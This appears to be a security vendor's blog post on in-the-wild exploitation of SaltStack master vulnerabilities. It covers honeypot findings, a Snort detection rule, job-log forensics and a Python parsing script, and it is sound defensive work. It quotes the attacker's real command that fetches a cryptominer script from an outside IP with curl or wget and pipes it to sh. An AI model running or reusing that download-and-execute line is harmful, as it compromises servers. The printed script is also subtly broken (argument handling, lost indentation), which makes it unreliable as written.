Hackers are targeting SaltStack systems following security firm F-Secure’s discovery of critical vulnerabilities in the Salt remote task and configuration framework. The flaws were found early last month and affect the Salt master that sends updates to server-controlling Salt minions. Left unpatched, these flaws allow hackers to circumvent authentication measures and assume control of cloud servers, thus earning themselves the highest CVE criticality score.
In our last blog we showed you how attackers can leverage these CVEs; however, we weren’t satisfied having merely replicated the exploits. We wanted to confirm whether attackers were really using them in the wild and, if so, see if we could lock onto them. Our step-by-step process is laid out below.
Creating a honeypot
After creating a valid PoC for the exploit (covered in our last post), the first step was to create a honeypot. We’ll have another blog post up on this soon, so watch this space.
Playing the waiting game
Next, quite simply, we waited. Our luck was in at around 1.30am GMT on the 3rd May, when an attacker began connecting to SaltStack port 4506 across the internet, triggering the exploit. In this instance the attacker was adding jobs to the Salt master that would run on any Salt minion connected to it.
The job was set to run the following command, (curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh, which simply downloads a shell script file called sa.sh and pipes the script to the interactive shell command sh. In this way, the shell script never gets written to disk and only exists within running memory, making it harder for protective software to detect it.
This sa.sh file (see VirusTotal) will download and execute a cryptominer, among other things.
Reports suggest that around the time our honeypot first detected activity, other organizations, including blogging platform Ghost, were impacted. (Ghost said no credit card information had been impacted but that the attackers were attempting to mine cryptocurrency on its servers.)
Identifying an exploited Salt master
We won’t focus on the cryptominer, which is fairly standard stuff, but instead on how we could have identified this on the Salt master as it was exploited.
Let’s look at the network side first. Salt minions talk on port 4505 and port 4506; however, this vulnerability allows someone who isn’t a minion to talk to these ports and install a job, which the minions would then execute. If you have network-level logging or an IDS, it’s fairly simple to identify a malicious connection.
The ZeroMQ connection in this instance is sent in cleartext. This means we can identify the elements of the payload, specifically _send_pub, which doesn’t appear in general Salt communications and therefore indicates that something bad is happening!
Defensive analysis
A series of Snort rules can be used to identify network-based intrusion attempts. An example of a Snort rule which can be used to identify suspicious behaviour is shown below.
alert tcp $EXTERNAL_NET any -> $HOME_NET 4506 (msg:"Salt Stack root_key read attempt"; content:"_prep_auth_info"; sid:1000000; rev:1;)
But what if you don’t have network-level logging? Well, Salt works through jobs: the master creates jobs, and the minions execute the requested jobs before returning the results. Every job creates log files which are stored on the Salt master. These files include the job ID, the response, and, in some instances, the tasks sent to the minions. These log files can be found in the following directory: /var/cache/salt/master/jobs.
For each job, a directory structure containing several key files is created. All of these files (with the exception of the “jid”) are packed with MessagePack – a binary serialization format.
/jid ← contains the job ID number
/.load.p ← contains the job for the minions to perform (including the malicious commands)
/return.p ← contains the results from the minion
/.minions.p ← contains a list of all the minions the job was run on
We can review these and look for unusual jobs. The job ID is usually the date timestamp of the job request, in the format %Y%m%d%H%M%S%f which looks like 20200504112346849537.
The attacks so far have used a strange job ID, 15885854884363138611, which makes it easy to identify in this specific instance. We’ve created a custom Python script that can parse the jobs and make them easier to read. This will provide the analyst with information such as when a command was issued, what it was instructing the minions to do, which minions executed it, and the result of that execution.
The code for this script is included here and available in the labs.
#!/usr/bin/python3
import sys
import os
import msgpack
import json
from pprint import pprint
path = str(sys.argv)
if os.path.exists(path):
for subdir, dirs, files in os.walk(path):
for file in files:
if file == 'jid':
full_path = subdir + "/" + file
with open(full_path, 'r') as f:
jid = f.read()
print('Job ID: ' + jid)
f.close()
if file == '.minions.p':
print("MINIONS File:")
full_path = subdir + "/" + file
with open(full_path, 'rb') as f:
file_content = f.read()
decoded_response = msgpack.unpackb(file_content)
print(decoded_response)
f.close()
if file == '.load.p':
print("LOAD File:")
full_path = subdir + "/" + file
with open(full_path, 'rb') as f:
file_content = f.read()
decoded_response = msgpack.unpackb(file_content)
json_format = (json.dumps(decoded_response, indent=4, sort_keys=True))
print(json_format)
f.close()
if file == 'return.p':
print("RETURN File:")
full_path = subdir + "/" + file
with open(full_path, 'rb') as f:
file_content = f.read()
decoded_response = msgpack.unpackb(file_content)
pprint(decoded_response)
json_format = (json.dumps(decoded_response, indent=4, sort_keys=True))
f.close()
Print blank line to help separate each job.
print()
else:
print("Error: Please specify the path to the jobs directory.")
If you are using a Docker image of SaltStack, you can review the jobs on a running container by using the export commands to create a copy of the container files. The command to export the docker container is shown below.
docker export > Salt_Container.tar
Once the files have been exported, we can unpack the .tar file and review the jobs using the aforementioned Python script. Using the output of this script, you should be able to see any suspicious jobs, thus indicating a compromise. Boom!
If you'd like to get hands-on with these vulnerabilities and try out the techniques discussed above in a safe and secure environment, head over to Immersive Labs Lite to try them for free.